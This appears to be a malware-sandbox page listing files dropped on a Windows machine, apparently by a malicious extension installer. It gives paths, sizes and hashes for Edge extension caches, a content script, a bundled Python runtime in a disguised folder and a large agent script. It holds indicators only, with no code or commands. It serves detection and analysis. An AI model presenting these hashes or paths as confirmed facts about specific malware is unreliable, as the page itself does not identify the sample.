T163D095C34D7D12C14FD50F7BD087ACF80480540DE55C2A7A044CD8C04115C1B75C142F
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 132B
SHA256 f4aa1676b1cc0e8c932821d57f7e6ec93246f48d7b840aca2d58ef9fac0ecd03
MD5 f5a3b29f9a977e23d6ca4eb728238f9f
SHA1 d2c5576fff1189eb66493b5b677d79a8ecead68d
SHA512 6f692909efad02642f6c3a4b7cd10b21760c6fbfd3bae39d3b8a77b22460fcd5f6b0ab6e262b007e533c406a981968b3e0894697ca50be7f10bf557f1c1972f3
TLSH
T128C02BD0883D5142CD620D5AC04301F420005C1C641C0A7804C814C0401142F328042E
MD5 SHA1 SHA512 TLSH

Submit Download

299ff2b88f972402bfeaa0a772d457de7c8a5aa8498cacd924345cb79aac18ce

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\extensions_crx_cache\299ff2b88f972402bfeaa0a772d457de7c8a5aa8498cacd924345cb79aac18ce
Size 153KB
SHA256 299ff2b88f972402bfeaa0a772d457de7c8a5aa8498cacd924345cb79aac18ce
MD5 c4a20d073fe58488935da829aae6fa17
SHA1 dbd31aa3dcd1abd3d554d29a9bca83bab02709d5
SHA512 61f74480d3471180f14e2171be6f5e33ab0a03a7a4837334695556a9484da1a862cc059969834d4950a038ec97f192805e5e718cd2a280aba675bdc9cee5d976
SSDEEP 3072:C0qfZ9r+hy+exmKhRts8o7SYbyqNDri8EBalnQt9RaBoAkaX2Ns:C0qfZ9r5msvoOGi8QQQbRwxmNs
TLSH
T126F3E02D6EDEC956CC0F61F96F29724BC50A4F0B818B648B624E881958F434E17E29FD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\extensions_crx_cache\metadata.json
Size 13B
SHA256 2771d13c637c267132afff9db67537bef95708534b79ae8d954254c4e64e4e0f
MD5 2aa9e263ee3796d9ce358460a2451b4c
SHA1 7a55d937c0cd1f7543a12be730e4a78d0a14a545
SHA512 4909e73ffd1a777a9f102a8831f6ae5a9091084a2755707363251f39164bb65e22c318972ea59e7155976c6a626691dfa94539ee752f58e31aa16f4de5cdbccf
MD5 SHA1 SHA512

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\extensions_crx_cache\metadata.json
Size 132B
SHA256 ea13d57b11af249f90704dbcafd354c5e80b10358db7edb9eaf8f6fd597eb1d4
MD5 ae3a19c226264ff6cb64877f1e7e7243
SHA1 f993431dbd09200fd92b7a04ee6711a54ad95cc9
SHA512 97e5dbf0663585afbb5e0f2b5a36192624eb2c898462abef65225987df632d30f74f05ac5a71175c4c59f75d9ae6d2e640d168e479cb26b9a6857c71efda029a
TLSH
T1C1C02B85CB1E0C854E78153D48420B2727819F0030508534445A490C41741CE00888CF
MD5 SHA1 SHA512 TLSH

Submit Download

0d15d69c-467c-4886-986f-827713b6b610.tmp

Path C:\Users\Admin\AppData\Local\Temp\0d15d69c-467c-4886-986f-827713b6b610.tmp
Size 1B
SHA256 cdb4ee2aea69cc6a83331bbe96dc2caa9a299d21329efb0336fc02a82e1839a8
MD5 5058f1af8388633f609cadb75a75dc9d
SHA1 3a52ce780950d4d969792a2559cd519d7ee8c727
SHA512 0b61241d7c17bcbb1baee7094d14b7c451efecc7ffcbd92598a0f13d313cc9ebc2a07e61f007baf58fbf94ff9a8695bdd5cae7ce03bbf1e94e93613a00f25f21
MD5 SHA1 SHA512

Submit Download

pdfs.txt

Path C:\Users\Admin\AppData\Local\Temp\pdfs.txt
Size 42B
SHA256 97b9661d49f553b41bd6c8961746bb1c1932d47c5aec4d499fdb4c253dd9e4a4
MD5 b8bfc859791cb726769774febc2fa8e9
SHA1 4e85d5d9d7600a1e05878e2547f530cd00a41230
SHA512 1ddcbadaf96035678f4275fe830f0833a657103c0dd17bef6905efd7165b4c8bd43808c460be874de40c4cb2899daec0ddbf929c9d901c5a639c644e599384f8
MD5 SHA1 SHA512

Submit Download

content_new.js

Path C:\Users\Admin\AppData\Local\Temp\scoped_dir6056_147124436\CRX_INSTALL\content_new.js
Size 10KB
SHA256 d4aa4602a1590a4b8a1bce8b8d670264c9fb532adc97a72bc10c43343650385a
MD5 3de1e7d989c232fc1b58f4e32de15d64
SHA1 42b152ea7e7f31a964914f344543b8bf14b5f558
SHA512 177e5bdf3a1149b0229b6297baf7b122602f7bd753f96aa41ccf2d15b2bcf6af368a39bb20336ccce121645ec097f6bedb94666c74acb6174eb728fbfc43bc2a
SSDEEP 192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
TLSH
T1DB22B68DA5A8ED7C1AC0C952E50EA62E5D342531E6E7A30320874ED8015CFB9D519FFD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

01UKJuly27__UK_agenttttttttttttt.py

Path C:\Users\Admin\Contacts\Reggtones\Python312x64\01UKJuly27__UK_agenttttttttttttt.py
Size 3.7MB
SHA256 e0e5af13f0b18801bf8fb0ae7e903eb9fd79f0eb44e5d77cd61c3a4bd71e5532
MD5 a6508b86718bfcd1d7cdde5ca1e21063
SHA1 c907767a41e2562c9e5af13980eca636a84cd0d4
SHA512 0c75f99cac8c6fdbd96d8259ccf937a8acc813ac5c71651468817ab42ebcc65d90c26e3b5a6f8bed05e45ebdb66fc7520d63b8334277093ac0b93ee449e24995
SSDEEP 3072:Q6aFVAfXGiyP5jrXNF/LKYXIZFLWWD3oPux1Je69IurFIUH0962mLGpKFEppNYRP:Q+
TLSH
T1FF06E26E91063D9FA9489A83DC3DA65511B2985F1F86F5488B3CE87300AFF32D9312CD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

AES.py

Path C:\Users\Admin\Contacts\Reggtones\python312x64\Crypto\Cipher\AES.py
Size 9KB
SHA256 24af7918b87ca1c3025348200ade01b17a2c8310237ac25d097d266cff577fd6
MD5 97c2e30fe71322ff34b0bacf7b115dd4
SHA1 e6558a8f6aff6c330ba40f7047a83061f5892f21
SHA512 5929dbb9aefe62d76b760fcd10bae27401472d1ab063a0efa65d6ff7f37cc5c01660ab0551a6df52d015659163ccd4adfc4af591330bff3b9c63a46b338055b2
SSDEEP 192:dmQHvdBTzgeSDztF9+hMkRI4H1Fit/zyc/Ki/yRAL:sedBTYt4Ot/L/K7AL
TLSH
T1C212B7339EC3ADD175B140822D75E019E326219F2D962B0235BDD45C6F76F30E3A918E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__init__.py

Path C:\Users\Admin\Contacts\Reggtones\python312x64\Crypto\Cipher\__init__.py
Size 3KB
SHA256 d473aba5b1d98b834c34bb3b734e2495055bcddb0d5660f058f73cd759db633f
MD5 fff51e2acf3bcb78be4e068b64bdd0b7
SHA1 2dd282164ac902387c85d320c9a6ffa58c69286a
SHA512 c8cffb117ea8bc0bb2bd3c8044ca990b869fb5b990deade8ec0bd93f918266154157313e784fce55d7f891295f9c17c130c3ab82efd278da5dab1f4c805e39eb
TLSH
T10271C9019EA4FCD68974FCC91E7CF219C6E52803AE212593B48CE2A9DFB016186F90D9
MD5 SHA1 SHA512 TLSH

Submit Download

AES.cpython-312.pyc

Path C:\Users\Admin\Contacts\Reggtones\python312x64\Crypto\Cipher\__pycache__\AES.cpython-312.pyc
Size 8KB
SHA256 62486efa375bc10e841b14ff65938f11a1abe06532f8cbc8a056169b4911f90b
MD5 98e357cd27261cb63e5c68bead3694ea
SHA1 23c165a03fc0c3f122845da2b03cf4caf6d01f10
SHA512 b7536fdd78ad4c3734ac7ac0299a2153423577a69ec61b09a7f6911ebce583d8c9ba39a5e6a752787d0310ea6f85f1f4e473caa81f02d6a420fe21e37c9912da
SSDEEP 96:7eGOHlem6xV5IGV/EXCAKAHugoft7TAUZmniQjzVHdd5EUgggynYg:7eben5n9EXdHvItPdZ9Qj4UgggyYg
TLSH
T14402CB326F42C6F7E4E158B224BA9045E712509F2D92E35532BD946D2F8BD70D27A2C8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__init__.cpython-312.pyc

Path C:\Users\Admin\Contacts\Reggtones\python312x64\Crypto\Cipher\__pycache__\__init__.cpython-312.pyc
Size 2KB
SHA256 aaadc66f42a07bd5ff0714d3baa5c5934fe57e5747579980fa1e60b97b79d4df
MD5 8510d0b80407cf4db2e3bdd881f96ec6
SHA1 2a8b66396749bfb8b3d93391d3a378e624462c5d
SHA512 65a5b58aecfe65874e258feda2e1281fcfdf1d3b2bc334080cb74ae29aa2562d569a61096c136e3c6b50fa6d9cd5a1b454cef4ce015ca5103f454e1ece0c9daf
TLSH
T13151BE9182D6EDFDDCA0F4FE4AB8621DA9C1501B28595B03F64E9185CECB5158C3365C
MD5 SHA1 SHA512 TLSH

Submit Download

_raw_aes.pyd

Path C:\Users\Admin\Contacts\Reggtones\python312x64\Crypto\Cipher\_raw_aes.pyd
Size 34KB
SHA256 520b343e44b5633bbc4fdcecc705a7f2eb6e55d082a1f3e4723ada9d7e5ea97d
MD5 61cb04bf8e8c111ab4b6fed3be0e8fa9
SHA1 af652b67c6437c0ee640d6f2480ccbf70616b1dc
SHA512 5748fe3738fc0b5d38d581672a73d6d86652dce85c8d9a94a23a33ea24b6becba380ab19f7b261afa842ceefc48d2a0f378cf68dba9e9d75006889f0371144db
SSDEEP 384:JqX8MxMEzllvxL/7v/iKBt5ByU0xGitqzSEkxGG7+tpKHb/LZ7fr5aPU4sqIiRBE:Jqs3C75tCKaVS4j990th9VTT
TLSH
T158F2061465A92656DF850E7AEF03CC0BD6B17821B762F23725E9B30C201B3AE2B7B455
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__init__.py

Path C:\Users\Admin\Contacts\Reggtones\python312x64\Crypto\Random\__init__.py
Size 1KB
SHA256 05e8d3e5d2b18c1731189db337b04cb83e966dc385930836fa22e9ee0f376fb9
MD5 f6daa1095142342733ab132c05d1ddfe
SHA1 1ebafa39a224f69887333a00e0ae1bd69178315e
SHA512 246058d7f397cdcace81b09fdeba5b17c240264a70375d99b4fd0ffbffc54208d312bc38894e74b531bd3f9cb40105fa9dd834c74250b73a0c8e8db583fb0e41
TLSH
T157319666F287E99436B5506B2ED0F888F2AEB42B15272E51B82CE15C0F35734F4F985C
MD5 SHA1 SHA512 TLSH

Submit Download

__init__.cpython-312.pyc

Path C:\Users\Admin\Contacts\Reggtones\python312x64\Crypto\Random\__pycache__\__init__.cpython-312.pyc
Size 1KB
SHA256 82db95b5a27070285ca459afbec03c5c93f5ece789f4aec67018a00bec6b15e0
MD5 4fd48bf2d4dca9191508e24e9058e63d
SHA1 e5fbe9cba44dafad911e870d271c378487998dbd
SHA512 0755703dea8cf8ac9aabac776d9a7afb6c7857303c9470c7df58ce02111fb50e472d708400b85cd4a6597a9cbed8942f9dbb79c0e7859d3d2f9c9e76d35eb3f2
TLSH
T1E0213F917481D267F5A8F0B587C8940C22A4D17F9686AF435E2180EE2D3B888BD34909
MD5 SHA1 SHA512 TLSH

Submit Download

__init__.py

Path C:\Users\Admin\Contacts\Reggtones\python312x64\Crypto\Util\__init__.py
Size 1KB
SHA256 98831540f44ab7137a0de53a8a8c818dec32f0dc9c2731912424aecce04c07fa
MD5 ccd084ed08a6e3d89dc9b9ecd62d524d
SHA1 439ddfb5344ba4510f46a29913e7764824094696
SHA512 354925c7e294a4fea723aebe1f618ef8df1a82fde95b578c86ab8dc21473e0719832e05d8971b537633631aaf62a2c6885a0d2f1f92a584c93f96f76d8204867
TLSH
T15E4188F8724323D271A691827C67B45DD626D016A5722F41312EE2840BFB33C52F6B59
MD5 SHA1 SHA512 TLSH

Submit Download

__init__.cpython-312.pyc

Path C:\Users\Admin\Contacts\Reggtones\python312x64\Crypto\Util\__pycache__\__init__.cpython-312.pyc
Size 1KB
SHA256 b539925edefd7a74c9f202cc633e88ee80ecbd524e088fe51a4f611afec6bf18
MD5 b513adec9bbac947ad12a3c95e2bd9b0
SHA1 46ce3ed28ed161bd6d8e1a03b969416066e225f9
SHA512 a388a0756fd736899ae395768adf20e466e0fb00934a821711b8245d11a9260268c3b4bfee1bd684158f6df23517b129b8f570515632187610b6288f07f6a9d9
TLSH
T1EE2110A0B60373E7D08BA175E87B912B8E74802C66D00E55322EC7B05BCB32902F3758
MD5 SHA1 SHA512 TLSH

Submit Download

_cpu_features.cpython-312.pyc

Path C:\Users\Admin\Contacts\Reggtones\python312x64\Crypto\Util\__pycache__\_cpu_features.cpython-312.pyc
Size 861B
SHA256 ac7b6abb9eb89f546b51bd0159cb5bcb401de24de90998591ede78e8ebe65a71
MD5 11b7ab48a7b0d695ff566a81688c2c7f
SHA1 4a89e808f2f4f9956ae3bf0cc211bbcf858fe230
SHA512 02fd65261ae4998b6608efb3e73f7d96665e292a439a3714b9af3bcc120fc91aa07244bc8f6e947ab25be40b5a9a8691ec23331d8094ae307ba9a0c7e552f95b
TLSH
T13D11F942E003D6A5F1A9F2B20A3B920D1A609891B3C1570B7B3F6829AF0E14B29B7804
MD5 SHA1 SHA512 TLSH

Submit Download

_file_system.cpython-312.pyc

Path C:\Users\Admin\Contacts\Reggtones\python312x64\Crypto\Util\__pycache__\_file_system.cpython-312.pyc
Size 1KB
SHA256 57c4c61370ddd48a67c6e45076cac2221fb56889a79b943c1596a7df35ba390c
MD5 2f0f937d1464f76e8c9a8543172d7115
SHA1 c3738b1c60c2b965bd1840f9ffb73c22385fbe09
SHA512 702f064a8d41a5ce9c44d658f25509bacb1bd07f98c23f1961f3a3aa05dbdf53b966f22a9b36348c75f56f57992946b00101768c4692eadaab109258702c3349
TLSH
T17521B5407846D0F3E7806039B125520D6261A9A991021F027BFE61742FD7213CBD460C
MD5 SHA1 SHA512 TLSH

Submit Download

_raw_api.cpython-312.pyc

Path C:\Users\Admin\Contacts\Reggtones\python312x64\Crypto\Util\__pycache__\_raw_api.cpython-312.pyc
Size 12KB
SHA256 810c7fa539df08c14bc962414b9b5b62dd3b0f95b271b6ed53d5a1bf9a0a4748
MD5 3469ad028c9a90cea552debc9aaa7c67
SHA1 635a1e968cd09db957751b955d74078de84d16b2
SHA512 4e8ee792ec0bfd5a8bf48d71a4ea40819fe536d06460ace41dca38e06346537bef650f8f3ff94d5c22b86471960f84b81a49aff0c86cd4a0b3cd6de8134623bb
SSDEEP 192:2XZddaN1GLnVAOI+/ylEr4GKlAIBQKlUx8mTwrjYCMGQpiyS9O62iTuowY:mZd4N14nmlg8dGKldpavujYLGQWh
TLSH
T1264293817A86DC77FCE4F0BAC05A064FB3A28475B296C703269B40BA2F4B5B19C245CD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

py3compat.cpython-312.pyc

Path C:\Users\Admin\Contacts\Reggtones\python312x64\Crypto\Util\__pycache__\py3compat.cpython-312.pyc
Size 6KB
SHA256 cd0450fd4719b6a5d21f936d93687b2e70162483409caf42c169711d15d8cb8d
MD5 c094281d91c56db66b5e7d5de6e0da87
SHA1 d0e5ad3b7760123f882b1abbca2106b083fc6bc0
SHA512 f50e4ecbf066433860c8fe214b35c6d703043e2e1e40213090c8551525ed038c4fc60df3de162095101a422fc5d1675a3b304680161fa28fe6e1e5ad89cda44e
SSDEEP 96:G7ppa1YDLOjIWTmpSaRBF7mxzw3VYzO6BJcerI2mYVe07P31P1FU:4faeUIW82uirckyynP3PFU
TLSH
T1A8E143C03441D5B3F9D5F0B981AB590EF3AAD1B5B36893A386AA00365E1DAD48D316CD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_cpu_features.py

Path C:\Users\Admin\Contacts\Reggtones\python312x64\Crypto\Util\_cpu_features.py
Size 1KB
SHA256 38d65295dd3e4506c462350e7766fb7d16635cc7e6a234fe0e4b14c7af6089c6
MD5 d4dd7789231f56101eaa341f5fd21a95
SHA1 81ffd38fa0896e265b36ef52a15ee3ba5fad7a75
SHA512 268e5fedf74f36a2309e83b6642ace469d7871c29f1975d4080d5992e9a29f8dfa681eee85e7e8106e6a15a95b0d2fc336a8edb1b81ba55f49d3f9e940e8ea89
TLSH
T11541719702069BC663F1824527A9EC88F24D902E3B326C067C2DA298573B32EF0F6414
MD5 SHA1 SHA512 TLSH

Submit Download

_cpuid_c.pyd

Path C:\Users\Admin\Contacts\Reggtones\python312x64\Crypto\Util\_cpuid_c.pyd
Size 10KB
SHA256 2af984819d9b1f95132520901b355eb85aa24d5efc6fc5ae9e77252ed03b7f4b
MD5 a55ec6259764fab16bd77aab0371d320
SHA1 2c672cd2939ce864b757b142056e5ca980a53e19
SHA512 6989176a3bbb9dec776ffb0193d7480303241563cfe629f0613749504626aef58cc3168e371e9911e395bee0540c5ca56a3dca621a04451e4ee83eaaccb86ca0
SSDEEP 96:dkDFaMNWHzAxbuH6jTD01tzl8bTtIJKUS9psPeFtJzqxqaC4HcX6gWtDs1:dkVNuzaJjTD0KRB/VbanHcqgWC
TLSH
T161221B49FA5588F6D52D81B5C9278D4ED47AB720C73233CF0370996A1E627CB313A691
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_file_system.py

Path C:\Users\Admin\Contacts\Reggtones\python312x64\Crypto\Util\_file_system.py
Size 2KB
SHA256 b8ff883aa293f99710ea591a58aa8d0d03feeedd5aa49c560b60a05fd3d413e1
MD5 4505c49a1831d0c93256da8e78c1564b
SHA1 63721bbaea6be397adc3c4c1aa4335dbecce215c
SHA512 3c6f8710d907ee676c8770012e4df3542a063d40185d52ef4c93ab98e8227f2c85c353c5b82b519d97d016fe62052084e8e4fb0b8609ebb59440f85e613a2602
TLSH
T12741628309491BD353F292457A54D98CF688902F3B232D093CEC625497B732AE1FA414
MD5 SHA1 SHA512 TLSH

Submit Download

_raw_api.py

Path C:\Users\Admin\Contacts\Reggtones\python312x64\Crypto\Util\_raw_api.py
Size 10KB
SHA256 67e1b4e201861f9a86e2db1e548909cdee46892cdce59b3575cd9c7ff755bd54
MD5 b87b25d98e8337122ae998f9abf4d2b1
SHA1 9b3fc679a26a4300cae579bacb9af93677426927
SHA512 b15adeb7d2fc9a050e80499a2ca1d0fd7203e24523c1df591012af01e9118b98d384de0429612d2feb4d8b9563fbc31a501fe4ee7c53ba2b590de0a3a0f077f5
SSDEEP 192:9qrskrs9t3q/IPtqY6t+DqX5WZ0cKqRlpZK0Xn4n/noOKcNeJWAc:0rskrs9VqkYRt+DqX5WZrKq7pZpX4/oC
TLSH
T11622A4634E07D9455372C44E4956D84EF70902071A646A0B7BFC80B83FB6739E6FD6AC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

py3compat.py

Path C:\Users\Admin\Contacts\Reggtones\python312x64\Crypto\Util\py3compat.py
Size 5KB
SHA256 2cf7955872d7d8a23f12b9340ac867e8e342102fed7b80dba25b6303d7992155
MD5 11d063ae5bc40d2d943df399f95dda04
SHA1 6d8c8391eebdae9fe2724f791b5d87a16e4d77ce
SHA512 b2e2c98c03916de5bb15f36b9a1972769825e1e514afea153ac292f3fff716e589fcf009bd42459d5b7a35c456a3645f2d3d0e59dafef198563cdbf83f2b2245
SSDEEP 96:WKYFQHvoA6pDLeAIeCGtFaVBS3eKQM4ks58B1S9+Ow34eHPwAEx2pdDSSUSAJn7e:W9QHvilIUwpK5lBssOk4eldSE4n7R0ua
TLSH
T1FAC13F415F63E0980A79825C0589E847F30EB7936679B593BC9C09642F31B6CC7F62DE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__init__.py

Path C:\Users\Admin\Contacts\Reggtones\python312x64\Crypto\__init__.py
Size 191B
SHA256 080587f7e7e526e6a975fade2bb27ca6200a0dd830254fdd0f1c036e16fc857d
MD5 0a3bd877881b0699dc5fd5e163df121b
SHA1 0ae087ec6f69818b820e3e862e4d28b6903b2c0f
SHA512 50c1a76aae2860dde496317c0834d522e19c4711f7747a5c6d945c509ccdae28240fc6202262858e24574cb43b4af63f1b5fbfacb77861887ac4ceaf43be27ac
TLSH
T120C080468C9354531059C75612025F115F5E2701C1758913765F518C7F3234D6344B7A
MD5 SHA1 SHA512 TLSH

Submit Download

__init__.cpython-312.pyc

Path C:\Users\Admin\Contacts\Reggtones\python312x64\Crypto\__pycache__\__init__.cpython-312.pyc
Size 476B
SHA256 42c5b3253296e83fcbcbef8a83f7adb854a445b8564908626c84cdf724ab9a0f
MD5 a78fa6cb71f74e24503baa83c369e0ba
SHA1 f12875e6ec24e1db95a60e64fd980fa0f1f3cbc4
SHA512 c3bbad6cb1a6dfc298e5ac07d02f7aef50fd6ca3be8e82b5d09247b182489a52b2eb4157bfd2004f69c42b350d8906b89f94f5d8bd96ab8d678e5cea521a0030
TLSH
T121F02323C012C6DFEA0BA37A912E63692599905CE3034A03233C801C9B1B44A44B0034
MD5 SHA1 SHA512 TLSH

Submit Download

VCRUNTIME140_1.dll

Path C:\Users\Admin\Contacts\Reggtones\python312x64\VCRUNTIME140_1.dll
Size 48KB
SHA256 6a99bc0128e0c7d6cbbf615fcc26909565e17d4ca3451b97f8987f9c6acbc6c8
MD5 c0c0b4c611561f94798b62eb43097722
SHA1 523f515eed3af6d50e57a3eaeb906f4ccc1865fe
SHA512 35db454dbcc7ed89842c0440b92ce0b0b0db41dbd5432a36a0b7e1eddf51704b1f0d6cff5e3a3b0c3ff5db3d8632fed000471180ad72e39d8dbe68a757ccdfb0
SSDEEP 768:vzzO6ujT3MbR3v0Cz6Sz5q83ywug1HDV9zxfYbK9z:mq/oMx3hXHDnzxfYiz
TLSH
T1AE236BA453784486D4AB99B0C0DAEE577D7CFA964B10928F0BA0D15C1F637D0EB3D21B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_bz2.pyd

Path C:\Users\Admin\Contacts\Reggtones\python312x64\_bz2.pyd
Size 84KB
SHA256 65f610646d10d5babea080e060d244b546ec52c54012e5e937dc72dcc2e2e7bc
MD5 2be172c3086efe56c7e1d3279142295a
SHA1 910e0d7ec11d1efda15d03ef826423834aa59fe3
SHA512 37f84d9e6d766d8a97ccf0bd3c1a2a07f528cf45290762ef1f45e603cb513f43befec046693cf2e029366cca1682cd2753e54c53431773aba63c840bafcbf369
SSDEEP 1536:5Qioz7CmAZG1OwJYrmbdmmv0KV06G68u+SSnrO+pIWCVeytH/9vfIZRE2:dozW2vJYanvEd3rlpIWCVWZb
TLSH
T184839E82F36857F6F49B91B986810797F770BA55071093BFF288C2992F03B816E5C35A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_ctypes.pyd

Path C:\Users\Admin\Contacts\Reggtones\python312x64\_ctypes.pyd
Size 124KB
SHA256 0e56107a891100535f2da79d85a5ae65ff1227b4765bd108f8593ac1a1110d81
MD5 9314ab9707985aaf6e234b5c1fc3c3c6
SHA1 e8ba1f40f800397e3e6a7f95ffe2b9f63bf812ed
SHA512 a8436ccbc32dd31694d3a66072fa76933a2ecf0ef5eaa0b79380e6c53c8e8bd0bfaf7fe9341c17ced215792f3990f4ef220049da92dd4991ebc1d83ef3d41484
SSDEEP 3072:SxVJxKqXCjbqPzMM+kffELENy/Zq4e4lIWLPhG:UHxKsCbqbffELCya4c
TLSH
T197C35B0B739410A6EBA35178C5B36F07E7B1B42B171183CF02A4C6992F637A36E6E715
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_lzma.pyd

Path C:\Users\Admin\Contacts\Reggtones\python312x64\_lzma.pyd
Size 157KB
SHA256 e3deecc1f59a3b811c608861decd84de1e8df8bafd5e2b39188861318c5a38cf
MD5 7c25a079b992919cc97221955dac050c
SHA1 d12d4e0f36bad9c578dcb69436fc2a7505feb316
SHA512 ac7e3a3c7b8f766a0e0811718a048f0f8a4340374023fcfc7df0454e030521cd52314c23e80de118f24755046d77bac17d5abee634e7e5fe950b97f53bf5a64d
SSDEEP 3072:tfXToXxWCKqZGOPenZCIlznfF9mNoxe6FK0GIHMJpIWZ1iW4I+:troXxSBOMvNYOxzxGIHm
TLSH
T10CF34B96B394F0D5F7328C38D6628F53E7F5785A0320929A01CC976D2B1FB759A2A313
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_wmi.pyd

Path C:\Users\Admin\Contacts\Reggtones\python312x64\_wmi.pyd
Size 39KB
SHA256 a980f1e7a29842bd946863fc2693fbeb555a9dc0f9e1630dfed9a2fcdef3ece2
MD5 c7427027acbd9a0076b598fc71ee45a5
SHA1 cc2ab52f295e588f8bc99f23cc25467d7bfd9732
SHA512 e9ea1748c317b8439425306d44593a1210c552bd28cdbb20df2bf8e18041ea76d1c666e5fd2cc03268d48b5982f01de71136a079f083f4a62cab06d91fd114f4
SSDEEP 768:iEkKOex+l0WgNQqDpIWCiWOytxJEKrLy2Ip44oTxf1mltPRVQgM:iE9OtyNQqDpIWCiJytH/94UfIZReF
TLSH
T1DB037D89E6A80046EA63DBB5C9A6CE53F471B7D35B11D38F365582990F233C0E739329
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

libffi-8.dll

Path C:\Users\Admin\Contacts\Reggtones\python312x64\libffi-8.dll
Size 38KB
SHA256 eff52743773eb550fcc6ce3efc37c85724502233b6b002a35496d828bd7b280a
MD5 0f8e4992ca92baaf54cc0b43aaccce21
SHA1 c7300975df267b1d6adcbac0ac93fd7b1ab49bd2
SHA512 6e1b223462dc124279bfca74fd2c66fe18b368ffbca540c84e82e0f5bcbea0e10cc243975574fa95ace437b9d8b03a446ed5ee0c9b1b094147cefaf704dfe978
SSDEEP 768:NiQfxQemQJNrPN+moyijAc5YiSyvkIPxWEqG:dfxIQvPkmoyijP7SytPxF
TLSH
T10B037C0B458418A4E657D53D97A64A2AC335B9240B60F2CB03D4C2BA3F6B7D6FB7C358
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

python.exe

Path C:\Users\Admin\Contacts\Reggtones\python312x64\python.exe
Size 102KB
SHA256 4d6f5f81a4bca11191c4c7c6b43632694d0a4ce74e068619d8fdc161d469859a
MD5 0cfdf7db1b81d067d3dad75f6abb312b
SHA1 f0ef24bbb793b93c33274fadd7cba49fbda8a56e
SHA512 a6bc090e3b3f52a9588adee2f60f2ee19cc0181a031335d107fe5f240cbd853933c0e939f80e861f21148892106fd7929c80edcad651f58458f82df79811d838
SSDEEP 1536:7j1vKbuEYE+9z2wp+FavGmhMn+IhzZtzg/fZRIytH/9jfI38VMDxl:7BvKbuAs0FNmhMn+IhNC/fZRwIk
TLSH
T167A3F48A6A1E8191D5709471437B87F26B2C2F62A9C3C68DA7C17F06E97D2C1F609733
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

python3.DLL

Path C:\Users\Admin\Contacts\Reggtones\python312x64\python3.DLL
Size 68KB
SHA256 fb975a606e7fbf74f64260e3f60c3490b4f74a183c0926fd6ed1ac4c52ac7b1c
MD5 962428e9e68d43ecc16f3e33f2ea8667
SHA1 6d0f349ab2e795b138a64346b784fc7fcdb6d87f
SHA512 a925586bbc4cc9d2f58f5b6eeed82e429c23dd57d7b33609c0067fc14ed66ed165ac8121eeec1db3f993412f28ba527e961e3d6bcc201d4cda2037f85931ffc5
SSDEEP 768:BV1EbYGVXq6KC/prVHBN0cW18itCQDFPnOMFn+gikF/nFX14uewjBcCCC0yamM/s:BDmF61JFn+/OulIWL0vytH/9ifITgj
TLSH
T125637042BB54F893DBFA66FC7AD199CE642B12CC572984ECA47593D30D1A310A2E334D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

python312._pth

Path C:\Users\Admin\Contacts\Reggtones\python312x64\python312._pth
Size 80B
SHA256 2820f241bc9d6810d4db21c21cca3845799367fbdf0199620fb37c86a74b945c
MD5 535c72e819d6b1e99fc4e85d68784e78
SHA1 01325ced71fd06fd22f453e68f4e41c48223a090
SHA512 83ddff71dce6ddf7c7e8e2dacf2188ec38f60d32f569a77df5d7a8d6e10f7f9cbe1a0a57759a5b7886f81deb6f47cbdab6893ccaec6af2df18babece9466e10a
TLSH
T102A022020AA30080023030A83FC000F88F32330C8B00320C8AC02E380200E30ABE202F
MD5 SHA1 SHA512 TLSH

Submit Download

python312.dll

Path C:\Users\Admin\Contacts\Reggtones\python312x64\python312.dll
Size 6.6MB
SHA256 9a0e3435aaa680d868150f87ab3e388ad2eebc22f87e036155c7b4eda8cd2120
MD5 de50496cece613ec7ebedbf9f2aefecd
SHA1 6cd49527f647f7ea96872b89bb4fde20afbada1b
SHA512 a8d22a6f6140280ff36476cdc7cda4a3ebc46f0ac63b2a3c44fbd5f45aa3d343121e63b092b320d1dd8dbb7bc586a679bbcf738f485f36502a34592521aaf7a8
SSDEEP 98304:2nZOqBIZAopgdKJUskfih6ZizvmHDMiEXAbBu:IoJedKJnkf8ivs
TLSH
T12C666B15729CC0A9C96795B8CC13C28EE7B27C117F51434B30ABB71E2F733A1966A789
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

python312.zip

Path C:\Users\Admin\Contacts\Reggtones\python312x64\python312.zip
Size 3.7MB
SHA256 fb131c0ef7e35cc5250a74c8cd18744bf4115fb8163710711f3758d7df3d1f88
MD5 73d869a42d5173e8c8c4d47063f2e440
SHA1 3e9f96a9855e465273a999e7de7b37cb8d6f9bf6
SHA512 32be6cb42a18f00eab3cc92ceb49bbc49a6cfefd6d28400fb108203c22b36c3a443fb328547cb4a6153738d15684aafa1e6b89b1e6155b1fa105596b47660dc5
SSDEEP 98304:nJlDbXAiIdpNluLA5k32WAsNJocN4y9MDKN4EL:n3AFdZiA5k3cOJocNHaDKhL
TLSH
T148063333CE7D1C57E467F33A25B2F606560DC71872B2FB9E580AB1C9AB520D4970B829
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

vcruntime140.dll

